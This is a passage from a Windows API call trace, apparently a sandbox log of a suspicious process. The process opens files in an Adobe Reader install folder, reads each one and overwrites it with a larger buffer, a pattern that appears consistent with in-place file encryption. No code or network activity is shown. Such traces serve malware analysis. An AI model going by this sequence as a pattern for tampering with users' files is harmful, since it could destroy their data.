cchWideChar=22, lpMultiByteStr=0x1e7894c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open_original_form.gif", lpUsedDefaultChar=0x0) returned 22 [0042.158] ReadFile (in: hFile=0x184, lpBuffer=0x2750828, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x32cf2bc*=0x326, lpOverlapped=0x0) returned 1 [0042.161] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0042.161] WriteFile (in: hFile=0x184, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8ae, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x32cf2d0*=0x8ae, lpOverlapped=0x0) returned 1 [0042.161] CloseHandle (hObject=0x184) returned 1 [0042.162] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\rss.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.162] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.162] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xde [0042.162] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.162] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.162] ReleaseMutex (hMutex=0x128) returned 1 [0042.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss.gif", lpUsedDefaultChar=0x0) returned 7 [0042.162] ReadFile (in: hFile=0x184, lpBuffer=0x1dd1368, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd1368*, lpNumberOfBytesRead=0x32cf2bc*=0xde, lpOverlapped=0x0) returned 1 [0042.163] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0042.163] WriteFile (in: hFile=0x184, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x666, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x666, lpOverlapped=0x0) returned 1 [0042.163] CloseHandle (hObject=0x184) returned 1 [0042.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationintray.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.163] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.164] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3e3 [0042.164] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.164] ReleaseMutex (hMutex=0x128) returned 1 [0042.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0042.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInTray.gif", cchWideChar=29, lpMultiByteStr=0x1e7fd2c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 29 [0042.164] ReadFile (in: hFile=0x184, lpBuffer=0x25c4df8, nNumberOfBytesToRead=0x3e3, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4df8*, lpNumberOfBytesRead=0x32cf2bc*=0x3e3, lpOverlapped=0x0) returned 1 [0042.168] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0042.168] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x96b, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x32cf2d0*=0x96b, lpOverlapped=0x0) returned 1 [0042.168] CloseHandle (hObject=0x184) returned 1 [0042.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.171] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.171] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4274 [0042.171] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.171] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.171] ReleaseMutex (hMutex=0x128) returned 1 [0042.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeHUN.htm", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeHUN.htm", lpUsedDefaultChar=0x0) returned 13 [0042.171] ReadFile (in: hFile=0x184, lpBuffer=0x25c5e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c5e08*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0042.175] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3274 [0042.175] ReadFile (in: hFile=0x184, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0042.176] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3274 [0042.176] WriteFile (in: hFile=0x184, lpBuffer=0x25c6e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.176] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0042.177] WriteFile (in: hFile=0x184, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.177] CloseHandle (hObject=0x184) returned 1 [0042.177] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0042.177] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.177] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xbb27d0 [0042.177] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0042.177] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.178] ReleaseMutex (hMutex=0x128) returned 1 [0042.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0042.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", cchWideChar=25, lpMultiByteStr=0x1e7fd2c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHeitiStd-Regular.otf", lpUsedDefaultChar=0x0) returned 25 [0042.178] ReadFile (in: hFile=0x184, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0042.620] ReadFile (in: hFile=0x184, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0042.621] ReadFile (in: hFile=0x184, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0042.622] ReadFile (in: hFile=0x184, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0042.623] ReadFile (in: hFile=0x184, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0042.624] ReadFile (in: hFile=0x184, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0042.626] VirtualAlloc (lpAddress=0x0, dwSize=0x60000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef20000 [0042.631] ReadFile (in: hFile=0x184, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0042.632] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x32cf23c, dwLength=0x1c | out: lpBuffer=0x32cf23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0042.632] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee20000 [0042.637] VirtualFree (lpAddress=0x7ef20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0042.640] ReadFile (in: hFile=0x184, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0042.641] ReadFile (in: hFile=0x184, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0042.642] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x32cf23c, dwLength=0x1c | out: lpBuffer=0x32cf23c*(BaseAddress=0x7eea0000, AllocationBase=0x7eea0000, AllocationProtect=0x4, RegionSize=0x80000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0042.642] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed80000 [0042.651] ReadFile (in: hFile=0x184, lpBuffer=0x2765828, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2765828*, lpNumberOfBytesRead=0x32cf278*=0x2000, lpOverlapped=0x0) returned 1 [0042.654] SetFilePointer (in: hFile=0x184, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xbb07d0 [0042.656] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee30000 [0042.660] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x32cf258, dwLength=0x1c | out: lpBuffer=0x32cf258*(BaseAddress=0x7eea0000, AllocationBase=0x7eea0000, AllocationProtect=0x4, RegionSize=0x80000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0042.660] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ecf0000 [0043.084] VirtualFree (lpAddress=0x7ed80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0043.095] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x32cf28c*=0x2588, lpOverlapped=0x0) returned 1 [0043.095] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0043.095] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.096] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.096] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.096] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.096] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.097] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.097] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.097] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.097] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.098] VirtualFree (lpAddress=0x7ecf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0043.100] CloseHandle (hObject=0x184) returned 1 [0043.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.100] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H", lpFilePart=0x32cf690*="90msp-RKSJ-H") returned 0x43 [0043.100] GetLastError () returned 0x5 [0043.100] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.100] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.100] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.100] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.101] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.101] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.101] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-h")) returned 0x20 [0043.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.101] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3", lpFilePart=0x32cf690*="Adobe-CNS1-3") returned 0x43 [0043.101] GetLastError () returned 0x5 [0043.101] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.101] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.101] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.101] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.101] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.102] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.102] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-3")) returned 0x20 [0043.102] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.102] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1", lpFilePart=0x32cf690*="Adobe-GB1-1") returned 0x42 [0043.102] GetLastError () returned 0x5 [0043.102] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.102] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.102] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.102] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.102] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.102] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.102] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-1")) returned 0x20 [0043.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.103] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2", lpFilePart=0x32cf690*="Adobe-GB1-UCS2") returned 0x45 [0043.103] GetLastError () returned 0x5 [0043.103] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬꣐Ǧ\x01") returned 0x13 [0043.103] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.103] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.103] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0043.103] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.103] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0043.103] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-ucs2")) returned 0x20 [0043.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-cid"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.103] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID", nBufferLength=0x104, 